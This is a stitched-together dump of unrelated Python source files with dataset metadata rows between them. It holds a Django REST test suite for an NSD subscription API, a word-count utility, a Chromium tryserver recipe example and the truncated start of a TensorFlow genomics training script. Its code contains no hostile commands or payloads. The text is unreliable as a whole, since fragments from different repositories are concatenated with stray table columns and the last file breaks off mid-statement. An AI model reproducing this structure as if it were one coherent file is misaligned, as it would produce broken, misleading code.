format='json')
self.assertEqual(response.status_code,
status.HTTP_500_INTERNAL_SERVER_ERROR)
| 46.375479 | 78 | 0.529412 |
import json
import mock
import uuid
from django.test import TestCase
from rest_framework.test import APIClient
from rest_framework import status
from catalog.packages.biz.nsdm_subscription import NsdmSubscription
from catalog.pub.database.models import NsdmSubscriptionModel
class TestNsdmSubscription(TestCase):
def setUp(self):
self.client = APIClient()
NsdmSubscriptionModel.objects.all().delete()
self.subscription_id = str(uuid.uuid4())
self.subscription = {
"callbackUri": "http://callbackuri.com",
"authentication": {
"authType": ["BASIC"],
"paramsBasic": {
"userName": "username",
"password": "password"
}
},
"filter": {
"nsdId": ["b632bddc-abcd-4180-bd8d-4e8a9578eff7"],
}
}
self.links = {
"self": {
"href": "/api/v1/subscriptions/" + self.subscription_id
}
}
self.test_subscription = {
"callbackUri": "http://callbackuri.com",
"id": self.subscription_id,
"filter": {
"notificationTypes": [
"NsdOnBoardingNotification"
],
"nsdInfoId": [],
"nsdId": [],
"nsdName": [],
"nsdVersion": [],
"nsdInvariantId": [],
"vnfPkgIds": [],
"nestedNsdInfoIds": [],
"nsdOnboardingState": [],
"nsdOperationalState": [],
"nsdUsageState": [],
"pnfdInfoIds": [],
"pnfdId": [],
"pnfdName": [],
"pnfdVersion": [],
"pnfdProvider": [],
"pnfdInvariantId": [],
"pnfdOnboardingState": [],
"pnfdUsageState": []
},
"_links": self.links,
}
def tearDown(self):
pass
@mock.patch("requests.get")
@mock.patch.object(uuid, 'uuid4')
def test_nsdm_subscribe_notification(self, mock_uuid4, mock_requests):
temp_uuid = str(uuid.uuid4())
mock_requests.return_value.status_code = 204
mock_requests.get.return_value.status_code = 204
mock_uuid4.return_value = temp_uuid
response = self.client.post("/api/nsd/v1/subscriptions",
data=self.subscription, format='json')
self.assertEqual(201, response.status_code)
self.assertEqual(self.subscription["callbackUri"],
response.data["callbackUri"])
self.assertEqual(temp_uuid, response.data["id"])
@mock.patch("requests.get")
@mock.patch.object(uuid, 'uuid4')
def test_nsdm_subscribe_callbackFailure(self, mock_uuid4, mock_requests):
temp_uuid = str(uuid.uuid4())
mock_requests.return_value.status_code = 500
mock_requests.get.return_value.status_code = 500
mock_uuid4.return_value = temp_uuid
expected_data = {
'status': 500,
'detail': "callbackUri http://callbackuri.com didn't"
" return 204 statuscode."
}
response = self.client.post("/api/nsd/v1/subscriptions",
data=self.subscription, format='json')
self.assertEqual(500, response.status_code)
self.assertEqual(expected_data, response.data)
@mock.patch("requests.get")
def test_nsdm_second_subscription(self, mock_requests):
mock_requests.return_value.status_code = 204
mock_requests.get.return_value.status_code = 204
response = self.client.post("/api/nsd/v1/subscriptions",
data=self.subscription, format='json')
self.assertEqual(201, response.status_code)
self.assertEqual(self.subscription["callbackUri"],
response.data["callbackUri"])
dummy_subscription = {
"callbackUri": "http://callbackuri.com",
"authentication": {
"authType": ["BASIC"],
"paramsBasic": {
"userName": "username",
"password": "password"
}
},
"filter": {
"nsdId": ["b632bddc-bccd-4180-bd8d-4e8a9578eff7"],
}
}
response = self.client.post("/api/nsd/v1/subscriptions",
data=dummy_subscription, format='json')
self.assertEqual(201, response.status_code)
self.assertEqual(dummy_subscription["callbackUri"],
response.data["callbackUri"])
@mock.patch("requests.get")
def test_nsdm_duplicate_subscription(self, mock_requests):
mock_requests.return_value.status_code = 204
mock_requests.get.return_value.status_code = 204
response = self.client.post("/api/nsd/v1/subscriptions",
data=self.subscription, format='json')
self.assertEqual(201, response.status_code)
self.assertEqual(self.subscription["callbackUri"],
response.data["callbackUri"])
expected_data = {
'status': 303,
'detail': 'Already Subscription exists with'
' the same callbackUri and filter'
}
response = self.client.post("/api/nsd/v1/subscriptions",
data=self.subscription, format='json')
self.assertEqual(303, response.status_code)
self.assertEqual(expected_data, response.data)
@mock.patch("requests.get")
def test_nsdm_bad_request(self, mock_requests):
dummy_subscription = {
"callbackUri": "http://callbackuri.com",
"authentication": {
"authType": ["BASIC"],
"paramsBasic": {
"userName": "username",
"password": "password"
}
},
"filter": {
"nsdId": "b632bddc-bccd-4180-bd8d-4e8a9578eff7",
}
}
response = self.client.post("/api/nsd/v1/subscriptions",
data=dummy_subscription, format='json')
self.assertEqual(400, response.status_code)
@mock.patch("requests.get")
def test_nsdm_invalid_authtype_subscription(self, mock_requests):
dummy_subscription = {
"callbackUri": "http://callbackuri.com",
"authentication": {
"authType": ["OAUTH2_CLIENT_CREDENTIALS"],
"paramsBasic": {
"userName": "username",
"password": "password"
}
}
}
mock_requests.return_value.status_code = 204
mock_requests.get.return_value.status_code = 204
expected_data = {
'status': 400,
'detail': 'Auth type should be BASIC'
}
response = self.client.post("/api/nsd/v1/subscriptions",
data=dummy_subscription, format='json')
self.assertEqual(400, response.status_code)
self.assertEqual(expected_data, response.data)
@mock.patch("requests.get")
def test_nsdm_invalid_authtype_oauthclient_subscription(
self, mock_requests):
dummy_subscription = {
"callbackUri": "http://callbackuri.com",
"authentication": {
"authType": ["BASIC"],
"paramsOauth2ClientCredentials": {
"clientId": "clientId",
"clientPassword": "password",
"tokenEndpoint": "http://tokenEndpoint"
}
}
}
mock_requests.return_value.status_code = 204
mock_requests.get.return_value.status_code = 204
expected_data = {
'status': 400,
'detail': 'Auth type should be OAUTH2_CLIENT_CREDENTIALS'
}
response = self.client.post("/api/nsd/v1/subscriptions",
data=dummy_subscription, format='json')
self.assertEqual(400, response.status_code)
self.assertEqual(expected_data, response.data)
@mock.patch("requests.get")
def test_nsdm_invalid_authparams_subscription(self, mock_requests):
dummy_subscription = {
"callbackUri": "http://callbackuri.com",
"authentication": {
"authType": ["BASIC"],
"paramsBasic": {
"userName": "username"
}
}
}
mock_requests.return_value.status_code = 204
mock_requests.get.return_value.status_code = 204
expected_data = {
'status': 400,
'detail': 'userName and password needed for BASIC'
}
response = self.client.post("/api/nsd/v1/subscriptions",
data=dummy_subscription, format='json')
self.assertEqual(400, response.status_code)
self.assertEqual(expected_data, response.data)
@mock.patch("requests.get")
def test_nsdm_invalid_authparams_oauthclient_subscription(
self, mock_requests):
dummy_subscription = {
"callbackUri": "http://callbackuri.com",
"authentication": {
"authType": ["OAUTH2_CLIENT_CREDENTIALS"],
"paramsOauth2ClientCredentials": {
"clientPassword": "password",
"tokenEndpoint": "http://tokenEndpoint"
}
}
}
mock_requests.return_value.status_code = 204
mock_requests.get.return_value.status_code = 204
expected_data = {
'status': 400,
'detail': 'clientId, clientPassword and tokenEndpoint'
' required for OAUTH2_CLIENT_CREDENTIALS'
}
response = self.client.post("/api/nsd/v1/subscriptions",
data=dummy_subscription, format='json')
self.assertEqual(400, response.status_code)
self.assertEqual(expected_data, response.data)
@mock.patch("requests.get")
def test_nsdm_invalid_filter_subscription(self, mock_requests):
dummy_subscription = {
"callbackUri": "http://callbackuri.com",
"authentication": {
"authType": ["BASIC"],
"paramsBasic": {
"userName": "username",
"password": "password"
}
},
"filter": {
"nsdId": ["b632bddc-bccd-4180-bd8d-4e8a9578eff7"],
"nsdInfoId": ["d0ea5ec3-0b98-438a-9bea-488230cff174"]
}
}
mock_requests.return_value.status_code = 204
mock_requests.get.return_value.status_code = 204
expected_data = {
'status': 400,
'detail': 'Notification Filter should contain'
' either nsdId or nsdInfoId'
}
response = self.client.post("/api/nsd/v1/subscriptions",
data=dummy_subscription, format='json')
self.assertEqual(400, response.status_code)
self.assertEqual(expected_data, response.data)
@mock.patch("requests.get")
def test_nsdm_invalid_filter_pnfd_subscription(self, mock_requests):
dummy_subscription = {
"callbackUri": "http://callbackuri.com",
"authentication": {
"authType": ["BASIC"],
"paramsBasic": {
"userName": "username",
"password": "password"
}
},
"filter": {
"pnfdId": ["b632bddc-bccd-4180-bd8d-4e8a9578eff7"],
"pnfdInfoIds": ["d0ea5ec3-0b98-438a-9bea-488230cff174"]
}
}
mock_requests.return_value.status_code = 204
mock_requests.get.return_value.status_code = 204
expected_data = {
'status': 400,
'detail': 'Notification Filter should contain'
' either pnfdId or pnfdInfoIds'
}
response = self.client.post("/api/nsd/v1/subscriptions",
data=dummy_subscription, format='json')
self.assertEqual(400, response.status_code)
self.assertEqual(expected_data, response.data)
@mock.patch.object(NsdmSubscription, 'create')
def test_nsdmsubscription_create_when_catch_exception(self, mock_create):
mock_create.side_effect = TypeError("Unicode type")
response = self.client.post('/api/nsd/v1/subscriptions',
data=self.subscription, format='json')
self.assertEqual(response.status_code,
status.HTTP_500_INTERNAL_SERVER_ERROR)
def test_nsdm_get_subscriptions(self):
NsdmSubscriptionModel(subscriptionid=self.subscription_id,
callback_uri="http://callbackuri.com",
auth_info={},
notificationTypes=json.dumps(
["NsdOnBoardingNotification"]),
nsdId=[], nsdVersion=[],
nsdInfoId=[], nsdDesigner=[],
nsdName=[], nsdInvariantId=[],
vnfPkgIds=[], pnfdInfoIds=[],
nestedNsdInfoIds=[], nsdOnboardingState=[],
nsdOperationalState=[], nsdUsageState=[],
pnfdId=[], pnfdVersion=[], pnfdProvider=[],
pnfdName=[], pnfdInvariantId=[],
pnfdOnboardingState=[], pnfdUsageState=[],
links=json.dumps(self.links)).save()
response = self.client.get("/api/nsd/v1/subscriptions",
format='json')
self.assertEqual(status.HTTP_200_OK, response.status_code)
self.assertEqual([self.test_subscription], response.data)
def test_nsdm_get_subscriptions_filter(self):
NsdmSubscriptionModel(subscriptionid=self.subscription_id,
callback_uri="http://callbackuri.com",
auth_info={},
notificationTypes=json.dumps(
["NsdOnBoardingNotification"]),
nsdId=[], nsdVersion=[],
nsdInfoId=[], nsdDesigner=[],
nsdName=[], nsdInvariantId=[],
vnfPkgIds=[], pnfdInfoIds=[],
nestedNsdInfoIds=[], nsdOnboardingState=[],
nsdOperationalState=[], nsdUsageState=[],
pnfdId=[], pnfdVersion=[], pnfdProvider=[],
pnfdName=[], pnfdInvariantId=[],
pnfdOnboardingState=[], pnfdUsageState=[],
links=json.dumps(self.links)).save()
response = self.client.get("/api/nsd/v1/subscriptions"
"?notificationTypes"
"=NsdOnBoardingNotification",
format='json')
self.assertEqual(status.HTTP_200_OK, response.status_code)
self.assertEqual([self.test_subscription], response.data)
def test_nsdm_get_subscriptions_filter_failure(self):
NsdmSubscriptionModel(subscriptionid=self.subscription_id,
callback_uri="http://callbackuri.com",
auth_info={},
notificationTypes=json.dumps(
["NsdOnBoardingNotification"]),
nsdId=[], nsdVersion=[],
nsdInfoId=[], nsdDesigner=[],
nsdName=[], nsdInvariantId=[],
vnfPkgIds=[], pnfdInfoIds=[],
nestedNsdInfoIds=[], nsdOnboardingState=[],
nsdOperationalState=[], nsdUsageState=[],
pnfdId=[], pnfdVersion=[], pnfdProvider=[],
pnfdName=[], pnfdInvariantId=[],
pnfdOnboardingState=[], pnfdUsageState=[],
links=json.dumps(self.links)).save()
response = self.client.get("/api/nsd/v1/subscriptions"
"?notificationTypes="
"PnfdOnBoardingFailureNotification",
format='json')
self.assertEqual(status.HTTP_404_NOT_FOUND, response.status_code)
def test_nsdm_get_subscriptions_invalid_filter(self):
NsdmSubscriptionModel(subscriptionid=self.subscription_id,
callback_uri="http://callbackuri.com",
auth_info={},
notificationTypes=json.dumps(
["NsdOnBoardingNotification"]),
nsdId=[], nsdVersion=[],
nsdInfoId=[], nsdDesigner=[],
nsdName=[], nsdInvariantId=[],
vnfPkgIds=[], pnfdInfoIds=[],
nestedNsdInfoIds=[], nsdOnboardingState=[],
nsdOperationalState=[], nsdUsageState=[],
pnfdId=[], pnfdVersion=[], pnfdProvider=[],
pnfdName=[], pnfdInvariantId=[],
pnfdOnboardingState=[], pnfdUsageState=[],
links=json.dumps(self.links)).save()
response = self.client.get("/api/nsd/v1/subscriptions"
"?notificationTypes="
"PnfdOnBoardingFailureNotificati",
format='json')
self.assertEqual(status.HTTP_400_BAD_REQUEST, response.status_code)
@mock.patch.object(NsdmSubscription, 'query_multi_subscriptions')
def test_nsdmsubscription_get_when_catch_exception(self, mock_create):
mock_create.side_effect = TypeError("Unicode type")
response = self.client.get('/api/nsd/v1/subscriptions', format='json')
self.assertEqual(response.status_code,
status.HTTP_500_INTERNAL_SERVER_ERROR)
def test_nsdm_get_subscription(self):
NsdmSubscriptionModel(subscriptionid=self.subscription_id,
callback_uri="http://callbackuri.com",
auth_info={},
notificationTypes=json.dumps(
["NsdOnBoardingNotification"]),
nsdId=[], nsdVersion=[],
nsdInfoId=[], nsdDesigner=[],
nsdName=[], nsdInvariantId=[],
vnfPkgIds=[], pnfdInfoIds=[],
nestedNsdInfoIds=[], nsdOnboardingState=[],
nsdOperationalState=[], nsdUsageState=[],
pnfdId=[], pnfdVersion=[], pnfdProvider=[],
pnfdName=[], pnfdInvariantId=[],
pnfdOnboardingState=[], pnfdUsageState=[],
links=json.dumps(self.links)).save()
response = self.client.get('/api/nsd/v1/'
'subscriptions/' + self.subscription_id,
format='json')
self.assertEqual(status.HTTP_200_OK, response.status_code)
self.assertEqual(self.test_subscription, response.data)
def test_nsdm_get_subscription_failure(self):
expected_data = {
"status": 404,
"detail": "Subscription(" + self.subscription_id + ") "
"doesn't exists"
}
response = self.client.get('/api/nsd/v1/'
'subscriptions/' + self.subscription_id,
format='json')
self.assertEqual(status.HTTP_404_NOT_FOUND, response.status_code)
self.assertEqual(expected_data, response.data)
def test_nsdm_get_subscription_failure_bad_request(self):
response = self.client.get("/api/nsd/v1/subscriptions/123",
format='json')
self.assertEqual(status.HTTP_400_BAD_REQUEST, response.status_code)
@mock.patch.object(NsdmSubscription, 'query_single_subscription')
def test_nsdmsubscription_getsingle_when_catch_exception(
self, mock_create):
mock_create.side_effect = TypeError("Unicode type")
response = self.client.get('/api/nsd/v1/'
'subscriptions/' + self.subscription_id,
format='json')
self.assertEqual(response.status_code,
status.HTTP_500_INTERNAL_SERVER_ERROR)
def test_ndsm_delete_subscription(self):
NsdmSubscriptionModel(subscriptionid=self.subscription_id,
callback_uri="http://callbackuri.com",
auth_info={},
notificationTypes=json.dumps(
["NsdOnBoardingNotification"]),
nsdId=[], nsdVersion=[],
nsdInfoId=[], nsdDesigner=[],
nsdName=[], nsdInvariantId=[],
vnfPkgIds=[], pnfdInfoIds=[],
nestedNsdInfoIds=[], nsdOnboardingState=[],
nsdOperationalState=[], nsdUsageState=[],
pnfdId=[], pnfdVersion=[], pnfdProvider=[],
pnfdName=[], pnfdInvariantId=[],
pnfdOnboardingState=[], pnfdUsageState=[],
links=json.dumps(self.links)).save()
response = self.client.delete('/api/nsd/v1/'
'subscriptions/' + self.subscription_id,
format='json')
self.assertEqual(status.HTTP_204_NO_CONTENT, response.status_code)
def test_ndsm_delete_subscription_failure(self):
response = self.client.delete('/api/nsd/v1/'
'subscriptions/' + self.subscription_id,
format='json')
self.assertEqual(status.HTTP_404_NOT_FOUND, response.status_code)
def test_nsdm_delete_subscription_failure_bad_request(self):
response = self.client.delete("/api/nsd/v1/subscriptions/123",
format='json')
self.assertEqual(status.HTTP_400_BAD_REQUEST, response.status_code)
@mock.patch.object(NsdmSubscription, 'delete_single_subscription')
def test_nsdmsubscription_delete_when_catch_exception(self, mock_create):
mock_create.side_effect = TypeError("Unicode type")
response = self.client.delete('/api/nsd/v1/'
'subscriptions/' + self.subscription_id,
format='json')
self.assertEqual(response.status_code,
status.HTTP_500_INTERNAL_SERVER_ERROR)
| true | true |
f73c419bb49574320f2e1e9f17f8ef09265b5ba1 | 926 | py | Python | Section_7/word_count_repo/src/project_utils.py | PacktPublishing/Software-Engineering-with-Python-3.x | 056e4c89e4f8d7fc4a4095ee0671d6944a86630e | [
"MIT"
] | 1 | 2020-02-02T13:55:29.000Z | 2020-02-02T13:55:29.000Z | Section_7/word_count_repo/src/project_utils.py | PacktPublishing/Software-Engineering-with-Python-3.x | 056e4c89e4f8d7fc4a4095ee0671d6944a86630e | [
"MIT"
] | null | null | null | Section_7/word_count_repo/src/project_utils.py | PacktPublishing/Software-Engineering-with-Python-3.x | 056e4c89e4f8d7fc4a4095ee0671d6944a86630e | [
"MIT"
] | 2 | 2020-02-09T12:41:40.000Z | 2020-09-21T02:16:06.000Z | import string
from _collections import defaultdict
import csv
def get_word_count(input_filename):
'''
Takes a text file as input and returns
the word count as Python Dictionary
'''
with open(input_filename) as f_input:
lines = f_input.readlines()
word_dict = defaultdict(int)
for line in lines:
clean_line = remove_punctuation(line)
for word in clean_line.split(' '):
word_dict[word] += 1
return word_dict
def remove_punctuation(my_str):
'''
Removes punctuation from string
'''
clean_str = my_str.translate(str.maketrans('', '', string.punctuation))
return clean_str
def dict_to_file(my_dict, output_file, delimiter=','):
with open(output_file, 'w') as f_output:
writer = csv.writer(f_output, delimiter=delimiter)
for key, value in my_dict.items():
writer.writerow([key, value])
| 26.457143 | 75 | 0.651188 | import string
from _collections import defaultdict
import csv
def get_word_count(input_filename):
with open(input_filename) as f_input:
lines = f_input.readlines()
word_dict = defaultdict(int)
for line in lines:
clean_line = remove_punctuation(line)
for word in clean_line.split(' '):
word_dict[word] += 1
return word_dict
def remove_punctuation(my_str):
clean_str = my_str.translate(str.maketrans('', '', string.punctuation))
return clean_str
def dict_to_file(my_dict, output_file, delimiter=','):
with open(output_file, 'w') as f_output:
writer = csv.writer(f_output, delimiter=delimiter)
for key, value in my_dict.items():
writer.writerow([key, value])
| true | true |
f73c41a5b5e6ba41d08a85451248f34cf5e593e5 | 3,766 | py | Python | recipe_modules/tryserver/example.py | ubports/depot_tools | f5cec0495609c9413d3d55205509120cab98eef5 | [
"BSD-3-Clause"
] | null | null | null | recipe_modules/tryserver/example.py | ubports/depot_tools | f5cec0495609c9413d3d55205509120cab98eef5 | [
"BSD-3-Clause"
] | null | null | null | recipe_modules/tryserver/example.py | ubports/depot_tools | f5cec0495609c9413d3d55205509120cab98eef5 | [
"BSD-3-Clause"
] | null | null | null | # Copyright 2014 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
DEPS = [
'recipe_engine/json',
'recipe_engine/raw_io',
'recipe_engine/path',
'recipe_engine/platform',
'recipe_engine/properties',
'recipe_engine/python',
'recipe_engine/step',
'tryserver',
]
def RunSteps(api):
if api.properties.get('set_failure_hash_with_no_steps'):
with api.tryserver.set_failure_hash():
raise api.step.StepFailure('boom!')
api.path['checkout'] = api.path['start_dir']
if api.properties.get('patch_text'):
api.step('patch_text test', [
'echo', str(api.tryserver.get_footers(api.properties['patch_text']))])
api.step('patch_text test', [
'echo', str(api.tryserver.get_footer(
'Foo', api.properties['patch_text']))])
return
api.tryserver.maybe_apply_issue()
if api.tryserver.can_apply_issue:
api.tryserver.get_footers()
api.tryserver.get_files_affected_by_patch(
api.properties.get('test_patch_root'))
if api.tryserver.is_tryserver:
api.tryserver.set_subproject_tag('v8')
api.tryserver.set_patch_failure_tryjob_result()
api.tryserver.set_compile_failure_tryjob_result()
api.tryserver.set_test_failure_tryjob_result()
api.tryserver.set_invalid_test_results_tryjob_result()
with api.tryserver.set_failure_hash():
api.python.failing_step('fail', 'foo')
def GenTests(api):
description_step = api.override_step_data(
'git_cl description', stdout=api.raw_io.output('foobar'))
yield (api.test('with_svn_patch') +
api.properties(patch_url='svn://checkout.url'))
yield (api.test('with_git_patch') +
api.properties(
path_config='buildbot',
patch_storage='git',
patch_project='v8',
patch_repo_url='http://patch.url/',
patch_ref='johndoe#123.diff'))
yield (api.test('with_git_patch_luci') +
api.properties(
patch_storage='git',
patch_project='v8',
patch_repo_url='http://patch.url/',
patch_ref='johndoe#123.diff'))
yield (api.test('with_rietveld_patch') +
api.properties.tryserver() +
description_step)
yield (api.test('with_wrong_patch') + api.platform('win', 32))
yield (api.test('with_rietveld_patch_new') +
api.properties.tryserver(test_patch_root='sub/project') +
description_step)
yield api.test('with_gerrit_patch_deprecated') + api.properties.tryserver(
patch_project='infra/infra',
gerrit='https://chromium-review.googlesource.com',
patch_storage='gerrit',
repository='https://chromium.googlesource.com/infra/infra',
rietveld=None,
**{
'event.change.id': 'infra%2Finfra~master~Ideadbeaf',
'event.change.number': 338811,
'event.change.url':
'https://chromium-review.googlesource.com/#/c/338811',
'event.patchSet.ref': 'refs/changes/11/338811/3',
}
)
yield (api.test('with_gerrit_patch') +
api.properties.tryserver(gerrit_project='infra/infra'))
yield (api.test('with_wrong_patch_new') + api.platform('win', 32) +
api.properties(test_patch_root='sub\\project'))
yield (api.test('basic_tags') +
api.properties(
patch_text='hihihi\nfoo:bar\nbam:baz',
footer='foo'
) +
api.step_data(
'parse description',
api.json.output({'Foo': ['bar']})) +
api.step_data(
'parse description (2)',
api.json.output({'Foo': ['bar']}))
)
yield (api.test('set_failure_hash_with_no_steps') +
api.properties(set_failure_hash_with_no_steps=True)) | 32.747826 | 78 | 0.65401 |
DEPS = [
'recipe_engine/json',
'recipe_engine/raw_io',
'recipe_engine/path',
'recipe_engine/platform',
'recipe_engine/properties',
'recipe_engine/python',
'recipe_engine/step',
'tryserver',
]
def RunSteps(api):
if api.properties.get('set_failure_hash_with_no_steps'):
with api.tryserver.set_failure_hash():
raise api.step.StepFailure('boom!')
api.path['checkout'] = api.path['start_dir']
if api.properties.get('patch_text'):
api.step('patch_text test', [
'echo', str(api.tryserver.get_footers(api.properties['patch_text']))])
api.step('patch_text test', [
'echo', str(api.tryserver.get_footer(
'Foo', api.properties['patch_text']))])
return
api.tryserver.maybe_apply_issue()
if api.tryserver.can_apply_issue:
api.tryserver.get_footers()
api.tryserver.get_files_affected_by_patch(
api.properties.get('test_patch_root'))
if api.tryserver.is_tryserver:
api.tryserver.set_subproject_tag('v8')
api.tryserver.set_patch_failure_tryjob_result()
api.tryserver.set_compile_failure_tryjob_result()
api.tryserver.set_test_failure_tryjob_result()
api.tryserver.set_invalid_test_results_tryjob_result()
with api.tryserver.set_failure_hash():
api.python.failing_step('fail', 'foo')
def GenTests(api):
description_step = api.override_step_data(
'git_cl description', stdout=api.raw_io.output('foobar'))
yield (api.test('with_svn_patch') +
api.properties(patch_url='svn://checkout.url'))
yield (api.test('with_git_patch') +
api.properties(
path_config='buildbot',
patch_storage='git',
patch_project='v8',
patch_repo_url='http://patch.url/',
patch_ref='johndoe#123.diff'))
yield (api.test('with_git_patch_luci') +
api.properties(
patch_storage='git',
patch_project='v8',
patch_repo_url='http://patch.url/',
patch_ref='johndoe#123.diff'))
yield (api.test('with_rietveld_patch') +
api.properties.tryserver() +
description_step)
yield (api.test('with_wrong_patch') + api.platform('win', 32))
yield (api.test('with_rietveld_patch_new') +
api.properties.tryserver(test_patch_root='sub/project') +
description_step)
yield api.test('with_gerrit_patch_deprecated') + api.properties.tryserver(
patch_project='infra/infra',
gerrit='https://chromium-review.googlesource.com',
patch_storage='gerrit',
repository='https://chromium.googlesource.com/infra/infra',
rietveld=None,
**{
'event.change.id': 'infra%2Finfra~master~Ideadbeaf',
'event.change.number': 338811,
'event.change.url':
'https://chromium-review.googlesource.com/#/c/338811',
'event.patchSet.ref': 'refs/changes/11/338811/3',
}
)
yield (api.test('with_gerrit_patch') +
api.properties.tryserver(gerrit_project='infra/infra'))
yield (api.test('with_wrong_patch_new') + api.platform('win', 32) +
api.properties(test_patch_root='sub\\project'))
yield (api.test('basic_tags') +
api.properties(
patch_text='hihihi\nfoo:bar\nbam:baz',
footer='foo'
) +
api.step_data(
'parse description',
api.json.output({'Foo': ['bar']})) +
api.step_data(
'parse description (2)',
api.json.output({'Foo': ['bar']}))
)
yield (api.test('set_failure_hash_with_no_steps') +
api.properties(set_failure_hash_with_no_steps=True)) | true | true |
f73c423051ea951f626d6d2254c63ce22d83c707 | 17,872 | py | Python | deepgmap/train/deepshark_local_oop_1d.py | koonimaru/DeepGMAP | 7daac354229fc25fba81649b741921345dc5db05 | [
"Apache-2.0"
] | 11 | 2018-06-27T11:45:47.000Z | 2021-07-01T15:32:56.000Z | deepgmap/train/deepshark_local_oop_1d.py | koonimaru/DeepGMAP | 7daac354229fc25fba81649b741921345dc5db05 | [
"Apache-2.0"
] | 3 | 2020-01-28T21:45:15.000Z | 2020-04-20T02:40:48.000Z | deepgmap/train/deepshark_local_oop_1d.py | koonimaru/DeepGMAP | 7daac354229fc25fba81649b741921345dc5db05 | [
"Apache-2.0"
] | 1 | 2018-10-19T19:43:27.000Z | 2018-10-19T19:43:27.000Z | import tensorflow as tf
import sys
import numpy as np
import time
import glob
from natsort import natsorted
import getopt
import importlib as il
import matplotlib.pyplot as plt
def next_batch(loop, input_dir, batch_size, data_length):
f = glob.glob(str(input_dir)+"*")
f_srt=natsorted(f)
with np.load(str(f_srt[loop])) as f1:
try:
dnase_data_labels=f1['labels'], f1['data_array']
except EOFError:
print("cannot load: "+str(f_srt[loop]))
images=np.reshape(dnase_data_labels[1], (batch_size, data_length, 4, 1))
labels=dnase_data_labels[0]
halfimages=np.vsplit(images, 2)
halflabels=np.vsplit(labels, 2)
return halfimages[0], halflabels[0], halfimages[1], halflabels[1]
def process(f,half_batch,data_length):
with np.load(f) as f1:
try:
dnase_data_labels=f1['labels'], f1['data_array']
except EOFError:
print("cannot load: "+str(f))
shape=dnase_data_labels[1].shape
images=np.reshape(dnase_data_labels[1], (shape[0], data_length, 4, 1))
labels=dnase_data_labels[0]
#print(shape[0])
if shape[0]>half_batch:
halfimages=images[:half_batch] , images[half_batch:]
halflabels=labels[:half_batch], labels[half_batch:]
else:
halfimages=images
halflabels=labels
return halfimages, halflabels
def process2(f,data_length):
with np.load(f) as f1:
try:
dnase_data_labels=f1['labels'], f1['data_array']
except EOFError:
print("cannot load: "+str(f))
shape=dnase_data_labels[1].shape
images=np.reshape(dnase_data_labels[1], (shape[0], data_length, 4, 1))
labels=dnase_data_labels[0]
return images, labels
def batch_queuing(file_list, batch_size, data_length):
with tf.device('/cpu:0'):
half_batch=batch_size/2
image_list=[]
label_list=[]
#CPU=20
#pool=mltp.Pool(CPU)
for f in file_list:
#res=apply_async(pool, process,args=(f,))
#halfimages, halflabels=res.get()
halfimages, halflabels=process(f,half_batch,data_length)
image_list.append(halfimages)
label_list.append(halflabels)
#pool.close()
#pool.join()
return image_list, label_list
def batch_queuing2(file_list, batch_size, data_length):
with tf.device('/cpu:0'):
image_list=[]
label_list=[]
#CPU=20
#pool=mltp.Pool(CPU)
for f in file_list:
#res=apply_async(pool, process,args=(f,))
#halfimages, halflabels=res.get()
images, labels=process2(f,data_length)
image_list.append(images)
label_list.append(labels)
#pool.close()
#pool.join()
return image_list, label_list
def softmax(w, t = 1.0):
npa = np.array
e = np.exp(npa(w) / t)
dist = e /np.stack((np.sum(e, axis=1),np.sum(e, axis=1)),axis=-1)
return dist
def test_batch(input_dir,output_dir,test_batch_num,batch_size, data_length):
f = glob.glob(str(input_dir))
f_srt=natsorted(f, key=lambda y: y.lower())
test_dir=output_dir.replace('output/', '')
#print len(f_srt), test_batch_num
data_list=[]
labels_list=[]
for i in range(3):
a=np.load(f_srt[int(test_batch_num)+i])
label_=a['labels'],
data_=a['data_array']
data_shape=np.shape(data_)
label_shape=np.shape(label_)
#print "labelshape="+str(label_shape)
data_list.append(np.reshape(data_, (data_shape[0], data_length, 4, 1)))
labels_list.append(np.reshape(label_,(-1,label_shape[-1])))
return data_list[0], labels_list[0], data_list[1], labels_list[1], data_list[2], labels_list[2]
def div_roundup(x, y):
if y%x==0:
return y/x
else:
return y/x+1
def run(args):
main(args)
def main(args=None):
start=time.time()
a=time.asctime()
b=a.replace(':', '')
start_at=b.replace(' ', '_')
mode="train"
loop_num_=None
test_batch_num=None
max_to_keep=2
TEST_THRESHHOLD=0.75
SAVE_THRESHHOLD=0
dropout_1=1.00
dropout_2=0.80
dropout_3=0.50
queue_len=5000
#max_train=20000
if args!=None:
mode=args.mode
loop_num_=args.loop_number
test_batch_num=args.test_batch_number
max_to_keep=args.max_to_keep
input_dir=args.in_directory
model_name=args.model
pretrained_dir=args.ckpt_file
output_dir=args.out_directory
else:
try:
options, args =getopt.getopt(sys.argv[1:], 'm:i:n:b:o:c:p:', ['mode=', 'in_dir=', 'loop_num=', 'test_batch_num=', 'out_dir=','network_constructor=','pretrained_model='])
except getopt.GetoptError as err:
print(str(err))
sys.exit(2)
if len(options)<3:
print('too few argument')
sys.exit(0)
for opt, arg in options:
if opt in ('-m', '--mode'):
mode=arg
elif opt in ('-i', '--in_dir'):
input_dir=arg
elif opt in ('-n', '--loop_num'):
loop_num_=int(arg)
elif opt in ('-b', '--test_batch_num'):
test_batch_num=int(arg)
elif opt in ('-o', '--out_dir'):
output_dir=arg
elif opt in ('-c', '--network_constructor'):
model_name=arg
elif opt in ('-p', '--pretrained_model'):
pretrained_dir=arg
if input_dir.endswith("/"):
input_dir=str(input_dir)+"*.npz"
elif input_dir.endswith("*") or input_dir.endswith(".npz"):
pass
else:
input_dir=str(input_dir)+"/*.npz"
f = glob.glob(input_dir)
if len(f)==0:
print("can't open input files, no such a directory")
sys.exit(0)
f_srt=natsorted(f)
if loop_num_==None:
loop_num_=len(f_srt)-5
if test_batch_num==None:
test_batch_num=loop_num_+1
with np.load(str(f_srt[0])) as f:
labels=f['labels']
_data=f['data_array']
batch_size, label_dim=labels.shape
_, data_length, _2=_data.shape
print(batch_size, label_dim)
config = tf.ConfigProto(device_count = {'GPU': 2})
config.gpu_options.allow_growth=True
#config.graph_options.optimizer_options.global_jit_level = tf.OptimizerOptions.ON_1
sess = tf.Session(config=config)
x_image = tf.placeholder(tf.float32, shape=[None, data_length, 4, 1])
y_ = tf.placeholder(tf.float32, shape=[None, label_dim])
phase=tf.placeholder(tf.bool)
keep_prob = tf.placeholder(tf.float32)
keep_prob2 = tf.placeholder(tf.float32)
keep_prob3 = tf.placeholder(tf.float32)
nc=il.import_module("deepgmap.network_constructors."+str(model_name))
print("running "+str(model_name))
model = nc.Model(image=x_image, label=y_,
output_dir=output_dir,
phase=phase,
start_at=start_at,
keep_prob=keep_prob,
